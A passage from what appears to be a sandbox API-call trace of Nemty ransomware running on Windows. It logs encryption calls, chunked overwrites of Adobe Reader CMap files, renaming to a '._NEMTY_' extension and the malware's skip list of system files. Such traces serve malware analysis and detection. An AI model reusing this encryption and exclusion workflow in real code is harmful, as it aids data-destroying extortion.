pdwDataLen=0x653e910*=0x100) returned 1 [0203.376] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0203.376] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="gRR4ebVY72pR/OeXwZIH0AYrThAdlHwMskQX5T1hDlMkfNataLZlSzYwrAKxD8y3\r\n2Sq3VmCtvn4RMuh4Glwm+UH/4JUIXCY2mq70SS0nG+5+SK5XJNGQkETS5MM4e/GG\r\nhWC5UaBj/YS2Jg3OkV2kKPQEGRXOzHQupCYfkpMpimeiGRLF+Fjt3XR7Vj3S3UTf\r\nOqPeSXM8KGqjy9H0MVgHWwMDN2vmn+zVeYddSfkbgAX6hc8fGmvI0K3tdtwPHzXW\r\no2kVLPApHpdd2w5LF4ZLA4CEW3NHhYg7KaYM818wer9GPdeZ1FifkMEXemzMVfGC\r\nHJ1uZNHwlwJir6ntLnT1rA==\r\n", pcchString=0x653e91c) returned 1 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0203.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.376] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.376] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.490] CloseHandle (hObject=0xffffffff) returned 0 [0203.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0203.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0203.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v._nemty_kgobjgd_")) returned 0 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.490] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="ETEN-B~1")) returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2=".") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="..") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="...") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="windows") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="rsa") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="NTDETECT.COM") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="ntldr") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="MSDOS.SYS") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="IO.SYS") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="boot.ini") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="boot.ini") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="ntuser.dat") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="desktop.ini") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="CONFIG.SYS") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="RECYCLER") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="bootmgr") returned 1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="programdata") returned -1 [0203.492] lstrcmpiW (lpString1="ETen-B5-H", lpString2="appdata") returned 1 [0203.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-H", lpUsedDefaultChar=0x0) returned 9 [0203.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-H", lpUsedDefaultChar=0x0) returned 9 [0203.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-H", lpUsedDefaultChar=0x0) returned 9 [0203.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETen-B5-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETen-B5-H", lpUsedDefaultChar=0x0) returned 9 [0203.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0203.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0203.493] Sleep (dwMilliseconds=0x5) [0203.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cf13590, dwHighDateTime=0x1d561e8)) [0203.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cf13590, dwHighDateTime=0x1d561e8)) [0203.500] GetLastError () returned 0x5 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.500] GetLastError () returned 0x5 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.500] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0203.500] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="DcMJGAuuR/s7musXbkQIEIGVLA3EB9bWFvsmUIyDRGV/YnMuDy+VMc4zVEgO3Mdq\r\nma4jkM0pcDCL2P/GEPjqWmQzv4BBeAYG29UQvAp0ygaBm3KFKOc1ekptaTs3sH3t\r\nERk9Mxin3rrco3SVMQc6u23f+hLtjNjL4GY26DDvclP+L5GGkt10jm43WJOl6qm8\r\n4fwTWO8+jLyhrRsHTdRN6KYZeFgKeK1YWj96MbobqA0UhN3ghpK/RxK9ZMzWYv0F\r\nlAo2L/4pBlhUQoqL8dgVvsXhM6WhNB/KhaX3I6ykaRU9Y8QleqLPUldIwo3TADl5\r\nn6YVlO69ogiDo9Z6TZVWAQ==\r\n", pcchString=0x653e91c) returned 1 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0203.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.501] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, 